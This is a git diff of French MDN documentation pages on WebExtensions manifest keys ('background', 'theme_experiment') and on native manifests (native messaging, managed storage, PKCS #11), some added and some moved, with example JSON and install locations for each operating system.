diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.html new file mode 100644 index 0000000000..4181a9e841 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.html @@ -0,0 +1,93 @@ +--- +title: background +slug: Mozilla/Add-ons/WebExtensions/manifest.json/arriere-plan +tags: + - Add-ons + - Extensions + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/background +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
TypeObject
ObligatoireNo
Exemple + 
+"background": {
+  "scripts": ["background.js"]
+}
+
+ +

Utilisez la clé background pour inclure un ou plusieurs scripts d'arrière-plan, et éventuellement une page d'arrière-plan dans votre extension.

+ +

Les scripts d'arrière-plan sont l'endroit pour placer le code qui doit maintenir l'état à long terme, ou effectuer des opérations à long terme, indépendamment de la durée de vie de toutes les pages Web ou les fenêtres du navigateur.

+ +

Les scripts d'arrière-plan sont chargés dès que l'extension est chargée et restent chargés jusqu'à ce que l'extension soit désactivée ou désinstallée. Vous pouvez utiliser n'importe laquelle des WebExtension APIs dans le script, tant que vous avez demandé les permissions nécessaires.

+ +

Voir la section "Pages arrière-plan" dans l'anatomie d'une WebExtension pour plus de détails.

+ +

La clé background est un objet qui peut avoir l'une des deux propriétés suivantes, toutes deux facultatives :

+ + + + + + + + + + + + +
"scripts" +

Un ensemble de chaînes, chacune étant un chemin d'accès à une source JavaScript. Le chemin est relatif au fichier manifest.json lui-même. Ce sont les scripts d'arrière-plan qui seront inclus dans l'extension.

+ +

Les scripts partagent la même fenêtre globale.

+ +

Les scripts sont chargés dans l'ordre où 'ils apparaissent dans le tableau.

+ +

Notez qu'il y a un bug affectant les versions de Firefox antérieures à la version 50 : lorsque le débogueur Firefox est ouvert, les scripts ne sont pas toujours chargés dans l'ordre indiqué dans le tableau. Pour contourner ce bug, vous pouvez utiliser la propriété "page" et inclure des scripts de fond de page en utilisant les balises <script>. Ce bug est résolu dans Firefox 50, et à partir de ce moment, les scripts sont toujours chargés dans l'ordre indiqué dans le tableau.

+
"page" +
+

Note : Si vous souhaitez récupérer un script à partir d'un emplacement distant avec la balise <script> (par exemple : <script src = "https://code.jquery.com/jquery-1.7.1.min.js"> ), vous devrez également modifier la clé content_security_policy dans le fichier manifest.json de votre extension.

+
+ +

Si vous spécifiez des "scripts", une page vide sera créée pour que vos scripts s'exécutent.

+ +

Si vous avez besoin de contenu particulier dans la page, vous pouvez définir votre propre page en utilisant l'option "page".

+ +

Si vous utilisez cette propriété, vous ne pouvez plus spécifier de scripts de fond à l'aide de «scripts», mais vous pouvez inclure vos propres scripts à partir de la page, tout comme dans une page Web normale.

+
+ +

Exemple

+ +
 "background": {
+    "scripts": ["jquery.js", "my-background.js"]
+  }
+ +

Chargez deux scripts de fond.

+ +
  "background": {
+    "page": "my-background.html"
+  }
+ +

Chargez une page d'arrière-plan personnalisée.

+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.manifest.background", 10)}}

diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.html new file mode 100644 index 0000000000..f33a6478c4 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.html @@ -0,0 +1,194 @@ +--- +title: theme expérimentation +slug: Mozilla/Add-ons/WebExtensions/manifest.json/theme_experimentation +tags: + - Add-ons + - Browser + - Customisation + - Customise + - Design + - Look and Feel + - Themes + - colors + - navigatuer + - theme manifest +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/theme_experiment +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
TypeObject
ObligatoireNon
Exemple + 
+"theme_experiment": {
+  "stylesheet": "style.css",
+  "colors": {
+    "popup_affordance": "--arrowpanel-dimmed"
+  },
+  "images": {
+    "theme_toolbar": "--toolbar-bgimage"
+  },
+  "properties": {
+    "toolbar_image_alignment":
+    "--toolbar-bgalignment"
+  }
+}
+
+ +
+

Cette clé permet de définir les propriétés de la clé expérimentale de theme pour l'interface Firefox. Ces expériences sont un précurseur pour proposer de nouvelles fonctionnalités thématiques à inclure dans Firefox. L'expérimentation se fait par:

+
+ +
+
    +
  • créer une feuille de style qui définit les correspondances entre les sélecteurs CSS internes pour les éléments d'interface utilisateur Firefox et les variables CSS arbitraires. Les variables CSS sont ensuite mappées dans les objets colors, images, et properties avec les nouvelles propriétés de clé de theme.
    • +
  • (sans feuille de style) en utilisant colors, images, et properties pour mapper les sélecteurs CSS internes de Firefox, tels que --arrowpanel-dimmed vers les nouvelles propriétés de clé de theme key properties. Cette option limite l'expérimentation aux composants d'interface utilisateur associés à une variable CSS intégrée.
    • +
+
+ +
+

Pour découvrir les sélecteurs CSS des éléments de l'interface utilisateur Firefox ou des variables CSS internes de Firefox, utilise la boite à outils du navigateur.

+
+ +
+
+

Cette clé est uniquement disponible pour une utilisation dans les canaux Firefox Developer Edition et Firefox Nightly et nécessite l'activation de la préférence extensions.legacy.enabled.

+
+
+ +
+
+

Cette fonctionnalité est expérimentale et peut être sujette à modification.

+
+
+ +

Syntaxe

+ +

La clé theme_experiment est un objet qui prend les propriétés suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomTypeDescription
stylesheetString +

Facultatif

+ +

Nom d'une feuille de style fournissant le mappage des sélecteurs CSS des éléments de l'interface Firefox aux variables CSS.

+
imagesObject +

Facultatif

+ +

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés images à utiliser dans la clé theme.

+
colorsObject +

Facultatif

+ +

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés colors à utiliser dans la clé theme.

+
propertiesObject +

Facultatif

+ +

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés properties à utiliser dans la clé theme.

+
+ +

Exemples

+ +
+

Ces exemples utilisent une feuille de style appelée style.css pour permettre de définir une couleur pour le bouton de recharge du navigateur dans la clé theme.

+
+ +
+

La feuille de style définit :

+
+ +
+
#reload-button {
+  fill: var(--reload-button-color);
+}
+
+
+ +
+

où #reload-button est le sélecteur CSS interne de Firefox pour le bouton reload et  --reload-button-color est un nom arbitraire..

+
+ +
+

Dans le fichier manifest.json, --reload-button-color est alors mappé au nom à utiliser dans la propriété theme colors :

+
+ +
+
"theme_experiment": {
+  "stylesheet": "style.css",
+  "colors": {
+    "reload_button": "--reload-button-color"
+  }
+}
+
+
+ +
+

L'argument reload_button est alors utilisé de la même manière que n'importe quelle autre propriété de theme .

+
+ +
+
"theme": {
+  "colors": {
+    "reload_button": "orange"
+  }
+}
+
+
+ +
+

Ceci a pour effet de rendre l'icône de recharge orange.

+
+ +
Outcome of a theme experiment, showing the reload button colored orange.
+ +
+ +
+

Cette propriété peut également être utilisée dans browser.theme.update(). images et  properties travaillent de la même manière que colors.

+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.manifest.theme_experiment")}}

diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experimentation/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experimentation/index.html deleted file mode 100644 index f33a6478c4..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experimentation/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: theme expérimentation -slug: Mozilla/Add-ons/WebExtensions/manifest.json/theme_experimentation -tags: - - Add-ons - - Browser - - Customisation - - Customise - - Design - - Look and Feel - - Themes - - colors - - navigatuer - - theme manifest -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/theme_experiment ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TypeObject
ObligatoireNon
Exemple - 
-"theme_experiment": {
-  "stylesheet": "style.css",
-  "colors": {
-    "popup_affordance": "--arrowpanel-dimmed"
-  },
-  "images": {
-    "theme_toolbar": "--toolbar-bgimage"
-  },
-  "properties": {
-    "toolbar_image_alignment":
-    "--toolbar-bgalignment"
-  }
-}
-
- -
-

Cette clé permet de définir les propriétés de la clé expérimentale de theme pour l'interface Firefox. Ces expériences sont un précurseur pour proposer de nouvelles fonctionnalités thématiques à inclure dans Firefox. L'expérimentation se fait par:

-
- -
-
    -
  • créer une feuille de style qui définit les correspondances entre les sélecteurs CSS internes pour les éléments d'interface utilisateur Firefox et les variables CSS arbitraires. Les variables CSS sont ensuite mappées dans les objets colors, images, et properties avec les nouvelles propriétés de clé de theme.
    • -
  • (sans feuille de style) en utilisant colors, images, et properties pour mapper les sélecteurs CSS internes de Firefox, tels que --arrowpanel-dimmed vers les nouvelles propriétés de clé de theme key properties. Cette option limite l'expérimentation aux composants d'interface utilisateur associés à une variable CSS intégrée.
    • -
-
- -
-

Pour découvrir les sélecteurs CSS des éléments de l'interface utilisateur Firefox ou des variables CSS internes de Firefox, utilise la boite à outils du navigateur.

-
- -
-
-

Cette clé est uniquement disponible pour une utilisation dans les canaux Firefox Developer Edition et Firefox Nightly et nécessite l'activation de la préférence extensions.legacy.enabled.

-
-
- -
-
-

Cette fonctionnalité est expérimentale et peut être sujette à modification.

-
-
- -

Syntaxe

- -

La clé theme_experiment est un objet qui prend les propriétés suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomTypeDescription
stylesheetString -

Facultatif

- -

Nom d'une feuille de style fournissant le mappage des sélecteurs CSS des éléments de l'interface Firefox aux variables CSS.

-
imagesObject -

Facultatif

- -

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés images à utiliser dans la clé theme.

-
colorsObject -

Facultatif

- -

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés colors à utiliser dans la clé theme.

-
propertiesObject -

Facultatif

- -

Mappings des variables CSS (telles que définies dans Firefox ou par la feuille de style définie dans la stylesheet) aux noms de propriétés properties à utiliser dans la clé theme.

-
- -

Exemples

- -
-

Ces exemples utilisent une feuille de style appelée style.css pour permettre de définir une couleur pour le bouton de recharge du navigateur dans la clé theme.

-
- -
-

La feuille de style définit :

-
- -
-
#reload-button {
-  fill: var(--reload-button-color);
-}
-
-
- -
-

où #reload-button est le sélecteur CSS interne de Firefox pour le bouton reload et  --reload-button-color est un nom arbitraire..

-
- -
-

Dans le fichier manifest.json, --reload-button-color est alors mappé au nom à utiliser dans la propriété theme colors :

-
- -
-
"theme_experiment": {
-  "stylesheet": "style.css",
-  "colors": {
-    "reload_button": "--reload-button-color"
-  }
-}
-
-
- -
-

L'argument reload_button est alors utilisé de la même manière que n'importe quelle autre propriété de theme .

-
- -
-
"theme": {
-  "colors": {
-    "reload_button": "orange"
-  }
-}
-
-
- -
-

Ceci a pour effet de rendre l'icône de recharge orange.

-
- -
Outcome of a theme experiment, showing the reload button colored orange.
- -
- -
-

Cette propriété peut également être utilisée dans browser.theme.update(). images et  properties travaillent de la même manière que colors.

-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.manifest.theme_experiment")}}

diff --git a/files/fr/mozilla/add-ons/webextensions/manifests_native/index.html b/files/fr/mozilla/add-ons/webextensions/manifests_native/index.html deleted file mode 100644 index c9c68b6304..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/manifests_native/index.html +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: manifests Natif -slug: Mozilla/Add-ons/WebExtensions/manifests_native -tags: - - Extensions - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Native_manifests ---- -
{{AddonSidebar}}
- -

Les manifests natifs sont des fichiers JSON spécialement formatés qui sont provisionnés sur l'ordinateur de l'utilisateur par un autre moyen que le processus d'installation de l'extension. Par exemple, un manifest natif peut être fourni par un administrateur de périphérique ou par un programme d'installation d'application natif.

- -

Il existe trois types différents de manifest natif :

- - - - - - - - - - - - - - - - -
Les manifests de messagerie natifActivez une fonctionnalité appelée native messaging, dans laquelle une extension peut communiquer avec une application native installée sur l'appareil.
Manifest de gestion de stockageDéfinissez les données en lecture seule auxquelles une extension peut accéder à l'aide de l'API {{WebExtAPIRef("storage.managed")}}.
PKCS #11 manifestsActivez une extension pour utiliser l'API  {{WebExtAPIRef("pkcs11")}} afin d'énumérer les modules de sécurité PKCS #11 et installez-les dans Firefox.
- -

Pour tous les manifests natifs, vous devez arranger les choses afin que le navigateur puisse trouver le manifest. La section sur l'emplacement du manifest décrit ces règles.

- -

Les manifests de messagerie natif

- -

Le manifest de messagerie natif contient un seul objet JSON avec les propriétés suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameTypeDescription
nameString -

Nom de l'application native.

- -

Cela doit correspondre au nom passé dans  {{WebExtAPIRef("runtime.connectNative()")}} ou {{WebExtAPIRef("runtime.sendNativeMessage()")}} par l'extension.

- -

Sur OS X et Linux, il doit également correspondre au nom de fichier du manifest de messagerie natif (à l'exclusion de l'extension ".json").

- -

Sous Windows, il doit correspondre au nom de la clé de registre que vous créez, qui contient l'emplacement du manifest de messagerie natif.

- -

Le nom doit correspondre à l'expression régulière suivante : "^\w+(\.\w+)*$". Cela signifie qu'il ne peut contenir que des caractères alphanumériques (minuscules ou majuscules), des traits de soulignement et des points. Il ne peut pas commencer ou se terminer par un point, et un point ne peut pas être suivi d'un autre point.

-
descriptionStringDescription de l'application native.
pathString -

Chemin vers l'application native.

- -

Sous Windows, cela peut être relatif au manifest lui-même. Sur OS X et Linux, il doit être absolu.

-
typeString -

Décrit la méthode utilisée pour connecter l'extension à l'application.

- -

Actuellement, une seule valeur peut être donnée ici, "stdio", qui indique que les messages sont reçus par l'application en utilisant l'entrée standard (stdin) et envoyés en utilisant la sortie standard (stdout).

-
allowed_extensionsArray of String -

Un tableau de valeurs d'ID d'extensions. Chaque valeur représente une extension qui est autorisée à communiquer avec cette application native.

- -

Notez que cela signifie que vous voudrez probablement inclure la clé des browser_specific_settings dans le fichier manifest.json de votre extension, afin de pouvoir définir un identifiant explicite lors du développement..

-
- -

Par exemple, voici un manifest pour l'application native "ping_pong":

- -
{
-  "name": "ping_pong",
-  "description": "Example host for native messaging",
-  "path": "/path/to/native-messaging/app/ping_pong.py",
-  "type": "stdio",
-  "allowed_extensions": [ "ping_pong@example.org" ]
-}
- -

This allows the extension whose ID is "ping_pong@example.org" to connect, by passing the name "ping_pong" into the relevant {{WebExtAPIRef("runtime")}} API function. The application itself is at "/path/to/native-messaging/app/ping_pong.py".

- -

Manifest de gestion de stockage

- -

Le manifest de stockage géré contient un seul objet JSON avec les propriétés suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameTypeDescription
nameString -

ID de l'extension pouvant accéder à ce stockage, donné comme ID que vous avez spécifié dans la clé d'application de l'extension.

-
descriptionStringDescription lisible par l'homme, ignorée par Firefox
typeString -

Cela doit être "storage".

-
dataObject -

Un objet JSON pouvant contenir des valeurs JSON valides, y compris des chaînes, des nombres, des booléens, des tableaux ou des objets. This will become the data in the browser.storage.managed storage area.

-
- -

Par exemple :

- -
{
-  "name": "favourite-colour-examples@mozilla.org",
-  "description": "ignored",
-  "type": "storage",
-  "data":
-  {
-    "colour": "management thinks it should be blue!"
-  }
-}
- -

Etant donné ce manifest JSON, l'extension "favourite-colour-examples@mozilla.org" pourrait accéder aux données en utilisant un code comme celui-ci:

- -
var storageItem = browser.storage.managed.get('colour');
-storageItem.then((res) => {
-  console.log(`Managed colour is: ${res.colour}`);
-});
- -

PKCS #11 manifests

- -

Le manifest PKCS #11 est un fichier contenant un objet JSON avec les propriétés suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameTypeDescription
nameString -

Nom du module PKCS #11.

- -

Cela doit correspondre au nom utilisé dans l'API pkcs11 .

- -

Sur OS X et Linux, il doit également correspondre au nom de fichier du manifest (à l'exclusion de l'extension).

- -

Sous Windows, il doit correspondre au nom de la clé de registre que vous créez, qui contient l'emplacement du manifest.

- -

Le nom doit correspondre à l'expression régulière suivante : "^\w+(\.\w+)*$". Cela signifie qu'il ne peut contenir que des caractères alphanumériques minuscules, des traits de soulignement et des points. Il ne peut pas commencer ou se terminer par un point, et un point ne peut pas être suivi d'un autre point.

-
descriptionString -

Description du module.

- -

Ceci est utilisé pour définir le nom convivial du module dans l'interface utilisateur du navigateur (par exemple, la boîte de dialogue "Security Devices" dans Firefox).

-
pathString -

Chemin d'accès au module.

- -

Sous Windows, cela peut être relatif au manifest lui-même. Sur OS X et Linux, il doit être absolu

-
typeStringCela doit être "pkcs11".
allowed_extensionsArray of String -

Un tableau de valeurs d'ID de l'extension. Chaque valeur représente une extension qui est autorisée à interagir avec le module.

- -

Notez que cela signifie que vous voudrez probablement inclure la clé des applications dans le fichier manifest.json de votre extension, afin de pouvoir définir un identifiant explicite lors du développement.

-
- -

Par exemple :

- -
{
-  "name": "my_module",
-  "description": "My test module",
-  "type": "pkcs11",
-  "path": "/path/to/libpkcs11testmodule.dylib",
-  "allowed_extensions": ["my-extension@mozilla.org"]
-}
- -

Compte tenu de ce manifest JSON, enregistré sous le nom ""my_module.json", l'extension "my-extension@mozilla.org" pourrait installer le module de sécurité dans "/path/to/libpkcs11testmodule.dylib" en utilisant le code suivant :

- -
browser.pkcs11.installModule("my_module");
- -

Emplacement du manifest

- -

Sous Linux et Mac OS X, vous devez stocker le manifest dans un endroit particulier. Sous Windows, vous devez créer une clé de registre qui pointe vers l'emplacement du manifest.

- -

Les règles détaillées sont les mêmes pour tous les types de manifest, sauf que l'avant-dernier composant du chemin identifie le type de manifest. Les exemples ci-dessous montrent la forme pour chacun des trois types différents. Dans tous les exemples, <name> est la valeur de la propriété name dans le manifest.

- -

Windows

- -

Pour une visibilité globale, créez une clé de registre avec le nom suivant :

- -
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\<name>
-HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\ManagedStorage\<name>
-HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\PKCS11Modules\<name>
- -

La clé doit avoir une seule valeur par défaut, qui est le chemin d'accès au manifest.

- -

A partir de Firefox 64, la vue registre 32 bits (Wow6432Node) sera d'abord vérifiée pour ces clés, puis la vue registre "native". Utilisez celui qui convient le mieux à votre application. 

- -

Pour Firefox 63 et les versions antérieures, cette clé ne doit pas être créée sous Wow6432Node, même si l'application est en 32 bits. Les versions précédentes du navigateur chercheront toujours la clé dans la vue "native" du registre, et non dans l'émulation 32 bits. Pour vous assurer que la clé est créée dans la vue "native", vous pouvez passer les indicateurs KEY_WOW64_64KEY ou KEY_WOW64_32KEY dans RegCreateKeyEx. Voir Accès à une autre vue de registre.

- -

Pour une visibilité par utilisateur, créez une clé de registre avec le nom suivant :

- -
HKEY_CURRENT_USER\SOFTWARE\Mozilla\NativeMessagingHosts\<name>
-HKEY_CURRENT_USER\SOFTWARE\Mozilla\ManagedStorage\<name>
-HKEY_CURRENT_USER\SOFTWARE\Mozilla\PKCS11Modules\<name>
- -

La clé doit avoir une seule valeur par défaut, qui est le chemin d'accès au manifest.

- -

Mac OS X

- -

Pour une visibilité globale, stockez le manifest dans :

- -
/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json
-/Library/Application Support/Mozilla/ManagedStorage/<name>.json
-/Library/Application Support/Mozilla/PKCS11Modules/<name>.json
- -

Pour la visibilité par utilisateur, stockez le manifest dans :

- -
~/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json
-~/Library/Application Support/Mozilla/ManagedStorage/<name>.json
-~/Library/Application Support/Mozilla/PKCS11Modules/<name>.json
-
- -

Linux

- -

Pour une visibilité globale, stockez le manifest dans :

- -
/usr/lib/mozilla/native-messaging-hosts/<name>.json
-/usr/lib/mozilla/managed-storage/<name>.json
-/usr/lib/mozilla/pkcs11-modules/<name>.json
-
- -

ou :

- -
/usr/lib64/mozilla/native-messaging-hosts/<name>.json
-/usr/lib64/mozilla/managed-storage/<name>.json
-/usr/lib64/mozilla/pkcs11-modules/<name>.json
- -

Pour la visibilité par utilisateur, stockez le manifest dans :

- -
~/.mozilla/native-messaging-hosts/<name>.json
-~/.mozilla/managed-storage/<name>.json
-~/.mozilla/pkcs11-modules/<name>.json
diff --git a/files/fr/mozilla/add-ons/webextensions/native_manifests/index.html b/files/fr/mozilla/add-ons/webextensions/native_manifests/index.html new file mode 100644 index 0000000000..c9c68b6304 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/native_manifests/index.html @@ -0,0 +1,309 @@ +--- +title: manifests Natif +slug: Mozilla/Add-ons/WebExtensions/manifests_native +tags: + - Extensions + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Native_manifests +--- +
{{AddonSidebar}}
+ +

Les manifests natifs sont des fichiers JSON spécialement formatés qui sont provisionnés sur l'ordinateur de l'utilisateur par un autre moyen que le processus d'installation de l'extension. Par exemple, un manifest natif peut être fourni par un administrateur de périphérique ou par un programme d'installation d'application natif.

+ +

Il existe trois types différents de manifest natif :

+ + + + + + + + + + + + + + + + +
Les manifests de messagerie natifActivez une fonctionnalité appelée native messaging, dans laquelle une extension peut communiquer avec une application native installée sur l'appareil.
Manifest de gestion de stockageDéfinissez les données en lecture seule auxquelles une extension peut accéder à l'aide de l'API {{WebExtAPIRef("storage.managed")}}.
PKCS #11 manifestsActivez une extension pour utiliser l'API  {{WebExtAPIRef("pkcs11")}} afin d'énumérer les modules de sécurité PKCS #11 et installez-les dans Firefox.
+ +

Pour tous les manifests natifs, vous devez arranger les choses afin que le navigateur puisse trouver le manifest. La section sur l'emplacement du manifest décrit ces règles.

+ +

Les manifests de messagerie natif

+ +

Le manifest de messagerie natif contient un seul objet JSON avec les propriétés suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
nameString +

Nom de l'application native.

+ +

Cela doit correspondre au nom passé dans  {{WebExtAPIRef("runtime.connectNative()")}} ou {{WebExtAPIRef("runtime.sendNativeMessage()")}} par l'extension.

+ +

Sur OS X et Linux, il doit également correspondre au nom de fichier du manifest de messagerie natif (à l'exclusion de l'extension ".json").

+ +

Sous Windows, il doit correspondre au nom de la clé de registre que vous créez, qui contient l'emplacement du manifest de messagerie natif.

+ +

Le nom doit correspondre à l'expression régulière suivante : "^\w+(\.\w+)*$". Cela signifie qu'il ne peut contenir que des caractères alphanumériques (minuscules ou majuscules), des traits de soulignement et des points. Il ne peut pas commencer ou se terminer par un point, et un point ne peut pas être suivi d'un autre point.

+
descriptionStringDescription de l'application native.
pathString +

Chemin vers l'application native.

+ +

Sous Windows, cela peut être relatif au manifest lui-même. Sur OS X et Linux, il doit être absolu.

+
typeString +

Décrit la méthode utilisée pour connecter l'extension à l'application.

+ +

Actuellement, une seule valeur peut être donnée ici, "stdio", qui indique que les messages sont reçus par l'application en utilisant l'entrée standard (stdin) et envoyés en utilisant la sortie standard (stdout).

+
allowed_extensionsArray of String +

Un tableau de valeurs d'ID d'extensions. Chaque valeur représente une extension qui est autorisée à communiquer avec cette application native.

+ +

Notez que cela signifie que vous voudrez probablement inclure la clé des browser_specific_settings dans le fichier manifest.json de votre extension, afin de pouvoir définir un identifiant explicite lors du développement..

+
+ +

Par exemple, voici un manifest pour l'application native "ping_pong":

+ +
{
+  "name": "ping_pong",
+  "description": "Example host for native messaging",
+  "path": "/path/to/native-messaging/app/ping_pong.py",
+  "type": "stdio",
+  "allowed_extensions": [ "ping_pong@example.org" ]
+}
+ +

This allows the extension whose ID is "ping_pong@example.org" to connect, by passing the name "ping_pong" into the relevant {{WebExtAPIRef("runtime")}} API function. The application itself is at "/path/to/native-messaging/app/ping_pong.py".

+ +

Manifest de gestion de stockage

+ +

Le manifest de stockage géré contient un seul objet JSON avec les propriétés suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
nameString +

ID de l'extension pouvant accéder à ce stockage, donné comme ID que vous avez spécifié dans la clé d'application de l'extension.

+
descriptionStringDescription lisible par l'homme, ignorée par Firefox
typeString +

Cela doit être "storage".

+
dataObject +

Un objet JSON pouvant contenir des valeurs JSON valides, y compris des chaînes, des nombres, des booléens, des tableaux ou des objets. This will become the data in the browser.storage.managed storage area.

+
+ +

Par exemple :

+ +
{
+  "name": "favourite-colour-examples@mozilla.org",
+  "description": "ignored",
+  "type": "storage",
+  "data":
+  {
+    "colour": "management thinks it should be blue!"
+  }
+}
+ +

Etant donné ce manifest JSON, l'extension "favourite-colour-examples@mozilla.org" pourrait accéder aux données en utilisant un code comme celui-ci:

+ +
var storageItem = browser.storage.managed.get('colour');
+storageItem.then((res) => {
+  console.log(`Managed colour is: ${res.colour}`);
+});
+ +

PKCS #11 manifests

+ +

Le manifest PKCS #11 est un fichier contenant un objet JSON avec les propriétés suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
nameString +

Nom du module PKCS #11.

+ +

Cela doit correspondre au nom utilisé dans l'API pkcs11 .

+ +

Sur OS X et Linux, il doit également correspondre au nom de fichier du manifest (à l'exclusion de l'extension).

+ +

Sous Windows, il doit correspondre au nom de la clé de registre que vous créez, qui contient l'emplacement du manifest.

+ +

Le nom doit correspondre à l'expression régulière suivante : "^\w+(\.\w+)*$". Cela signifie qu'il ne peut contenir que des caractères alphanumériques minuscules, des traits de soulignement et des points. Il ne peut pas commencer ou se terminer par un point, et un point ne peut pas être suivi d'un autre point.

+
descriptionString +

Description du module.

+ +

Ceci est utilisé pour définir le nom convivial du module dans l'interface utilisateur du navigateur (par exemple, la boîte de dialogue "Security Devices" dans Firefox).

+
pathString +

Chemin d'accès au module.

+ +

Sous Windows, cela peut être relatif au manifest lui-même. Sur OS X et Linux, il doit être absolu

+
typeStringCela doit être "pkcs11".
allowed_extensionsArray of String +

Un tableau de valeurs d'ID de l'extension. Chaque valeur représente une extension qui est autorisée à interagir avec le module.

+ +

Notez que cela signifie que vous voudrez probablement inclure la clé des applications dans le fichier manifest.json de votre extension, afin de pouvoir définir un identifiant explicite lors du développement.

+
+ +

Par exemple :

+ +
{
+  "name": "my_module",
+  "description": "My test module",
+  "type": "pkcs11",
+  "path": "/path/to/libpkcs11testmodule.dylib",
+  "allowed_extensions": ["my-extension@mozilla.org"]
+}
+ +

Compte tenu de ce manifest JSON, enregistré sous le nom ""my_module.json", l'extension "my-extension@mozilla.org" pourrait installer le module de sécurité dans "/path/to/libpkcs11testmodule.dylib" en utilisant le code suivant :

+ +
browser.pkcs11.installModule("my_module");
+ +

Emplacement du manifest

+ +

Sous Linux et Mac OS X, vous devez stocker le manifest dans un endroit particulier. Sous Windows, vous devez créer une clé de registre qui pointe vers l'emplacement du manifest.

+ +

Les règles détaillées sont les mêmes pour tous les types de manifest, sauf que l'avant-dernier composant du chemin identifie le type de manifest. Les exemples ci-dessous montrent la forme pour chacun des trois types différents. Dans tous les exemples, <name> est la valeur de la propriété name dans le manifest.

+ +

Windows

+ +

Pour une visibilité globale, créez une clé de registre avec le nom suivant :

+ +
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\<name>
+HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\ManagedStorage\<name>
+HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\PKCS11Modules\<name>
+ +

La clé doit avoir une seule valeur par défaut, qui est le chemin d'accès au manifest.

+ +

A partir de Firefox 64, la vue registre 32 bits (Wow6432Node) sera d'abord vérifiée pour ces clés, puis la vue registre "native". Utilisez celui qui convient le mieux à votre application. 

+ +

Pour Firefox 63 et les versions antérieures, cette clé ne doit pas être créée sous Wow6432Node, même si l'application est en 32 bits. Les versions précédentes du navigateur chercheront toujours la clé dans la vue "native" du registre, et non dans l'émulation 32 bits. Pour vous assurer que la clé est créée dans la vue "native", vous pouvez passer les indicateurs KEY_WOW64_64KEY ou KEY_WOW64_32KEY dans RegCreateKeyEx. Voir Accès à une autre vue de registre.

+ +

Pour une visibilité par utilisateur, créez une clé de registre avec le nom suivant :

+ +
HKEY_CURRENT_USER\SOFTWARE\Mozilla\NativeMessagingHosts\<name>
+HKEY_CURRENT_USER\SOFTWARE\Mozilla\ManagedStorage\<name>
+HKEY_CURRENT_USER\SOFTWARE\Mozilla\PKCS11Modules\<name>
+ +

La clé doit avoir une seule valeur par défaut, qui est le chemin d'accès au manifest.

+ +

Mac OS X

+ +

Pour une visibilité globale, stockez le manifest dans :

+ +
/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json
+/Library/Application Support/Mozilla/ManagedStorage/<name>.json
+/Library/Application Support/Mozilla/PKCS11Modules/<name>.json
+ +

Pour la visibilité par utilisateur, stockez le manifest dans :

+ +
~/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json
+~/Library/Application Support/Mozilla/ManagedStorage/<name>.json
+~/Library/Application Support/Mozilla/PKCS11Modules/<name>.json
+
+ +

Linux

+ +

Pour une visibilité globale, stockez le manifest dans :

+ +
/usr/lib/mozilla/native-messaging-hosts/<name>.json
+/usr/lib/mozilla/managed-storage/<name>.json
+/usr/lib/mozilla/pkcs11-modules/<name>.json
+
+ +

ou :

+ +
/usr/lib64/mozilla/native-messaging-hosts/<name>.json
+/usr/lib64/mozilla/managed-storage/<name>.json
+/usr/lib64/mozilla/pkcs11-modules/<name>.json
+ +

Pour la visibilité par utilisateur, stockez le manifest dans :

+ +
~/.mozilla/native-messaging-hosts/<name>.json
+~/.mozilla/managed-storage/<name>.json
+~/.mozilla/pkcs11-modules/<name>.json
